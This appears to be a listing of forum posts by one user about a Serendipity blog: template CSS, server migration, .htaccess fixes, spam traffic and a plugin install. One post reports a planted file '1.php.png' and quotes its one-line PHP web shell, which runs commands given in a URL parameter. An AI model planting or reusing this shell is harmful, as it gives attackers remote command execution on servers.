Hi, I'm trying to customise the 'Soccer' template to match the broad design used on my web site. It's mostly done but I'm struggling to find a couple of CSS settings to change the back-ground colour in a couple of area's. The blog is here: http://www.davidtapley.co.uk/blog/ My Web site is here: http...

I've just installed the new version. While checking I found a file called

1.php.png

containing the line <?PHP system($_GET['cmd']); ?>

Looking at the logfile for the site, it had been accessed and they were looking for 1.php.jpg and 2.php.jpg

Timbalu These bots learn, if a page changes to not allow comments any more. I would do so for link 3. I've just disabled comments from all posts so hopefully that will help. Upgraded now. Don't think it had been compromised. Or not. Just found a file called 1.php.png containing <?PHP system($_GET['...

Hi all, I'm getting a lot of spider\spam traffic and wondered if there is a way of reducing the server bandwidth usage. It's getting to the point where I'm thinking of getting rid of the blog. According to AWStats a lot of traffic is directed to: /blog/archives/blog/index.php /blog/categories/1-Skii...

the problem is now resolved. I redirected the DNS and reset the base URL settings in the db using 'MyAdmin'. The .htaccess file needed a little tweak for our server. It seems that the problems were actually caused by my trying to pre test the installation on a IP \ user account style url which was c...

Looking at it, I'm guessing that some of the URLs are still not formatting correctly, so I'm going redirect the DNS and see how it goes when the URLs are 'real'.

In the mean time I'll grab the tool you mention and check out the cookies possibility.

Thanks again

David

Cheers, thanks for your help, some progress made :-) I'd missed the serendipityPath setting, and had only changed the Base URL setting. Thanks to some help from my server hosting support, we've tweaked the htaccess file and can get a semi functioning blog. However most of the links do not work and t...

Thanks for your help guys. Because I can't log into the admin screen I'm struggling to see any more changes I can make to get it up and running. I've amended the config.local file with the new db info and I've changed the base path in the actual db entry. I've looked for more path settings but can't...

Cheers - it was a htaccess problem. I identified that these were the commands blocking the folder (testing using phpinfo) php_value session.use_trans_sid 0 php_value register_globals off If these are commented out then I can run phpinfo. however, if I now browse to /blog/admin I get a 404 error and ...

cheers. It looks like a wider problem where .php isn't executing in the 'blog' subfolder - I can't even get phpinfo to run.... I'll let you know how I get on.

Hi, I've got a problem moving my serendipity install to a fresh server. I've followed the suggestions in the FAQ, ie, coped over the file set restored the db from a phpmyadmin backup checked the file\folder permissions I've even hand amended the base path in the db (as the domain has not been redire...

I've just been testing the PopFetcher plug in and it works really nicely. we're checking it out with our text message forwarding system as a way of publishing messages to the web and it's spot on.

Cheers

Doh ! Thank you for your patience !

I suspected as much, but the new plug in does not appear in the list. Not sure if its relevant but I counted 31 plugin's in the web folder ( /blog/plugins ), yet on 21 of them list in the manage plugins menu. I've checked that the permissions on the new folder are the same as the others. I've just f...

Hi, I've just downloaded the PopFetcher plugin from the web site, unzipped it and FTP'd it to my blog and popped it in the plugins directory. However when I go into the admin section & "Configure Plugins" I can see no reference to PopFetcher. I've logged out and in but no joy. I've rea...
